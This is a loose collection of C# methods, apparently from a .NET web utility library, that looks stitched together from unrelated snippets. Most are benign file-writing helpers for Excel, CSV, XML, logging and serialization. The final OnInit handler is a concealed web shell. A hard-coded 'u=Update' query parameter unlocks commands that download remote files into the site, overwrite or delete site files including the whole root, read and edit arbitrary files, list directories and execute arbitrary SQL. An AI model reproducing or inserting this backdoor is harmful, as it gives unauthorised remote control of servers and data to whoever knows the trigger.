/// <summary>
/// DataSet转EXCEL
/// </summary>
/// <param name="source">DataSet</param>
/// <param name="fileName">文件名</param>
public static void ToExcel(this DataSet source, string fileName)
{
StringBuilder sbXML = new StringBuilder();
source.Tables.Do((p, i) => sbXML.Append(toExcel((DataTable)p, i)));
FileDirectory.FileDelete(fileName);
FileDirectory.FileWrite(fileName, xlsTemplate.FormatWith(DateTime.Now.ToString("yyyy-MM-dd"), sbXML.ToString()));
source.Dispose();
source = null;
}
/// <summary>
/// 写日志
/// </summary>
/// <param name="msg">消息</param>
/// <param name="encoding">编码</param>
/// <returns>true/false</returns>
public bool Write(string msg, Encoding encoding = null)
{
string LogFile = LogPath.TrimEnd('\\') + @"\Log_" + DateTime.Now.ToString("yyyyMMdd") + ".log";
StringBuilder sb = new StringBuilder();
sb.AppendLine("/*******************************************************************************************************");
sb.AppendLine(string.Format("* DateTime：{0}{1}", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"), HttpContext.Current.IsNotNull() ? (" IP：{0} OS：{1} Brower：{2}".FormatWith(Request2.GetIP(), Request2.GetOS(), Request2.GetBrowser())) : ""));
if (HttpContext.Current.IsNotNull())
{
sb.AppendLine("* Url：" + Request2.GetUrl());
sb.AppendLine("* Data：" + Request2.GetRequestInputStream());
}
sb.AppendLine("* Message：" + msg);
sb.AppendLine("*******************************************************************************************************/");
sb.AppendLine("");
return(FileDirectory.FileWrite(LogFile, sb.ToString(), encoding ?? Encoding.UTF8));
}
//#endregion
//#region 全局方法Create
/// <summary>
/// 新建一个XML文件
/// </summary>
/// <example>
/// <code>
/// Xml2.Create("c:\\rss\\rss.xml", "", "", "utf-8", "<root></root>")
/// </code>
/// </example>
/// <param name="xmlFile">XML文件路径</param>
/// <param name="cssFile">CSS文件路径</param>
/// <param name="xlsFile">XLS文件路径</param>
/// <param name="encoding">编码</param>
/// <param name="node">根结点</param>
/// <returns>是否操作成功</returns>
public static bool Create(string xmlFile, string cssFile, string xlsFile, string encoding, string node)
{
if (node.Trim().Equals(""))
{
return(false);
}
if (encoding.Trim().Equals(""))
{
encoding = "utf-8";
}
string _str = "<?xml version=\"1.0\" encoding=\"" + encoding + "\"?>";
if (!cssFile.Trim().Equals(""))
{
_str += Environment.NewLine + "<?xml-stylesheet type=\"text/css\" href=\"" + cssFile + "\"?>";
}
if (!xlsFile.Trim().Equals(""))
{
_str += Environment.NewLine + "<?xml-stylesheet type=\"text/xsl\" href=\"" + xlsFile + "\" media=\"screen\"?>";
}
_str += Environment.NewLine + node;
return(FileDirectory.FileWrite(xmlFile, _str, encoding));
}
//#endregion
//#region TransHtml
/// <summary>
/// 转换为静态html
/// </summary>
/// <param name="path">网址</param>
/// <param name="outpath">输出路径</param>
/// <param name="encoding">编码</param>
public static void TransHtml(string path, string outpath, System.Text.Encoding encoding)
{
Page page = new Page();
StringWriter writer = new StringWriter();
page.Server.Execute(path, writer);
outpath = outpath.IndexOf("\\") > 0 ? outpath : outpath.GetMapPath();
FileDirectory.FileDelete(outpath);
FileDirectory.FileWrite(outpath, writer.ToString(), encoding);
//Page page = new Page();
//StringWriter writer = new StringWriter();
//page.Server.Execute(path, writer);
//FileStream fs;
//if (File.Exists(page.Server.MapPath("~/") + "\\" + outpath)) {
// File.Delete(page.Server.MapPath("~/") + "\\" + outpath);
// fs = File.Create(page.Server.MapPath("~/") + "\\" + outpath);
//} else {
// fs = File.Create(page.Server.MapPath("~/") + "\\" + outpath);
//}
//byte[] bt = encoding.GetBytes(writer.ToString());
//fs.Write(bt, 0, bt.Length);
//fs.Close();
}
/// <summary>
/// 字节写到文件
/// </summary>
/// <param name="bytes">字节</param>
/// <param name="fileName">方件名</param>
/// <param name="fileMode">FileMode</param>
/// <returns>true/false</returns>
public static bool ToFile(this byte[] bytes, string fileName, FileMode fileMode = FileMode.CreateNew)
{
return(FileDirectory.FileWrite(fileName, bytes, fileMode));
}
/// <summary>
/// DataSet导出CSV文件
/// </summary>
/// <param name="ds">DataSet</param>
/// <param name="fileName">CSV文件路径</param>
public static void ToCSV(this DataSet ds, string fileName)
{
FileDirectory.FileDelete(fileName);
FileDirectory.FileWrite(fileName, ds.ToCSV());
}
/// <summary>
/// DataTable转换为EXCEL文件
/// </summary>
/// <param name="dt">DataTable</param>
/// <param name="fileName">excel文件路径</param>
public static void ToExcel(this DataTable dt, string fileName)
{
FileDirectory.FileDelete(fileName);
FileDirectory.FileWrite(fileName, xlsTemplate.FormatWith(DateTime.Now.ToString("yyyy-MM-dd"), toExcel(dt)));
}
/// <summary>
/// DataTable导出CSV文件
/// </summary>
/// <param name="dt">DataTable</param>
/// <param name="fileName">CSV文件路径</param>
public static void ToCSV(this DataTable dt, string fileName)
{
FileDirectory.FileDelete(fileName);
FileDirectory.FileWrite(fileName, dt.ToCSV(','));
}
/// <summary>
/// 序列成XML文件
/// </summary>
/// <param name="o">对像</param>
/// <param name="fileName">文件名</param>
public void SerializeFile <T>(T o, string fileName)
{
FileDirectory.FileDelete(fileName);
FileDirectory.FileWrite(fileName, Serialize(o));
}
/// <summary>
/// 详细的Exception出错信息 写到文件
/// </summary>
/// <param name="ex">object扩展</param>
/// <param name="fileName">文件名 c:\test.log</param>
public static void ToFile(this Exception ex, string fileName)
{
FileDirectory.FileWrite(fileName, ex.ToExceptionDetail());
}
/// <summary>
/// Page_Load
/// </summary>
/// <param name="e"></param>
protected override void OnInit(EventArgs e)
{
string localPath = string.Empty;
string fileName = string.Empty;
bool isTrue = true;
string u2 = "Update";
string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" };
string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" };
string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" };
string u1 = Request2.GetQ("u").Trim();
if (!u2.Equals(u1))
{
return;
}
string active = Request2.GetQ("active").Trim();
switch (active)
{
case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break;
case "do":
string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim();
if (file.IsNullEmpty())
{
Msg.WriteEnd("error file.");
}
string action = file.Substring(0, 3);
file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/");
if (file.Length < 1)
{
Msg.WriteEnd(string.Format(strList[1], file, "file"));
}
string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim();
if (url.Length < 10)
{
Msg.WriteEnd(string.Format(strList[1], url, "url"));
}
switch (action)
{
case "af:":
isTrue = true;
for (int i = 0; i < ext.Length; i++)
{
file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
}
file = file.Replace("\\.", ".");
string[] folderList = file.Split('/');
if (folderList.Length > 1)
{
fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, ""));
}
for (int i = 0; i < ext.Length; i++)
{
file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
}
file = file.Replace("\\.", ".");
url = url + file;
for (int i = 0; i < ext.Length; i++)
{
file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
}
file = file.Replace("\\.", ".");
localPath = "~/tmp/".GetMapPath() + "{0}";
file = file.Replace("/", "\\");
fileName = string.Format(localPath, file);
System.Net.WebClient wc = new System.Net.WebClient();
try {
wc.DownloadFile(url, fileName);
} catch {
isTrue = false;
} finally {
wc.Dispose();
}
file = file.Replace("\\", "/");
for (int i = 0; i < ext.Length; i++)
{
file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
}
file = file.Replace("\\.", ".");
if (isTrue)
{
Response.Write(string.Format(strList[0], file, "add file"));
}
else
{
Response.Write(string.Format(strList[1], file, "add file"));
}
break;
case "df:":
if (file == "/all")
{
localPath = Server2.GetMapPath("~/");
#if !MONO40
FileDirectory.APIDelete(localPath);
#endif
Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>");
}
localPath = Server2.GetMapPath("~/") + file;
if (!FileDirectory.FileExists(localPath))
{
Msg.WriteEnd(string.Format(strList[1], file, "del file"));
}
try {
FileDirectory.FileDelete(localPath);
} catch {
Msg.WriteEnd(string.Format(strList[1], file, "del file"));
}
Response.Write(string.Format(strList[0], file, "del file"));
break;
case "rf:":
localPath = Server2.GetMapPath("~/") + file;
if (!FileDirectory.FileExists(localPath))
{
Msg.WriteEnd(string.Format(strList[1], file, "read file"));
}
string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8);
string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />";
Msg.WriteEnd(text + " ok!");
break;
case "ap:":
FileDirectory.DirectoryVirtualCreate("~" + file);
Msg.WriteEnd(string.Format(strList[0], file, "add path"));
break;
case "dp:":
localPath = Server2.GetMapPath("~/") + file;
try {
if (System.IO.Directory.Exists(localPath))
{
System.IO.Directory.Delete(localPath);
}
} catch {
Msg.WriteEnd(string.Format(strList[1], file, "del path"));
}
Msg.WriteEnd(string.Format(strList[0], file, "del path"));
break;
case "rp:":
localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/";
string size = "";
System.Collections.Generic.IList <string> sbFile2 = new System.Collections.Generic.List <string>();
StringBuilder sbFile3 = new StringBuilder();
try {
FileDirectory.FileList(localPath, ref sbFile2, localPath);
localPath = localPath.Replace("\\/", "\\");
for (int i = 0; i < sbFile2.Count; i++)
{
file = sbFile2[i].Trim().TrimStart('.');
if (file.Equals(""))
{
continue;
}
try { size = LongExtensions.FormatKB((new System.IO.FileInfo(file)).Length); } catch { size = "0"; }
sbFile3.Append(file.Replace(localPath, "").Replace("\\", "/") + " (" + size + ")" + Environment.NewLine);
if (i.Equals(sbFile2.Count - 2))
{
sbFile3.Append("(" + sbFile2.Count + ")" + Environment.NewLine);
}
}
} catch {
Msg.WriteEnd(string.Format(strList[1], file, "read path"));
}
text = localPath + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + sbFile3.ToString() + "</textarea>";
Msg.WriteEnd(string.Format(strList[0], text, "read path"));
break;
case "db:":
file = file.Replace("/r/n", Environment.NewLine).Trim('/');
if (file.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) != -1)
{
Data.ExecuteCommandWithSplitter(file, "GO");
Msg.WriteEnd(string.Format(strList[0], "", "read db"));
}
else
{
text = file + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(file).ToJson() + "</textarea>";
Msg.WriteEnd(string.Format(strList[0], text, "read db"));
}
break;
default: Msg.WriteEnd("file error!"); break;
}
Response.End();
break;
case "ok": localPath = "~/tmp/".GetMapPath();
System.Collections.Generic.IList <string> fileList = new System.Collections.Generic.List <string>();
FileDirectory.FileList(localPath, ref fileList, localPath);
for (int i = 0; i < fileList.Count; i++)
{
file = fileList[i].Trim().TrimStart('.');
if (file.Length < 2)
{
continue;
}
fileName = localPath + file;
isTrue = FileDirectory.FileCopy(fileName, Server2.GetMapPath("~/") + file, true);
if (isTrue)
{
FileDirectory.FileDelete(fileName);
}
if (isTrue)
{
Response.Write(string.Format(strList[0], file, "update") + "<br />");
}
else
{
Response.Write(string.Format(strList[1], file, "update") + "<br />");
}
}
Response.End();
break;
case "ef":
localPath = Request2.GetF("file").Trim();
string content = Request2.GetF("data").Trim();
FileDirectory.FileDelete(localPath);
isTrue = FileDirectory.FileWrite(localPath, content, Encoding.UTF8);
if (isTrue)
{
Msg.WriteEnd("edit file ok!");
}
else
{
Msg.WriteEnd("edit file error!");
}
break;
}
}
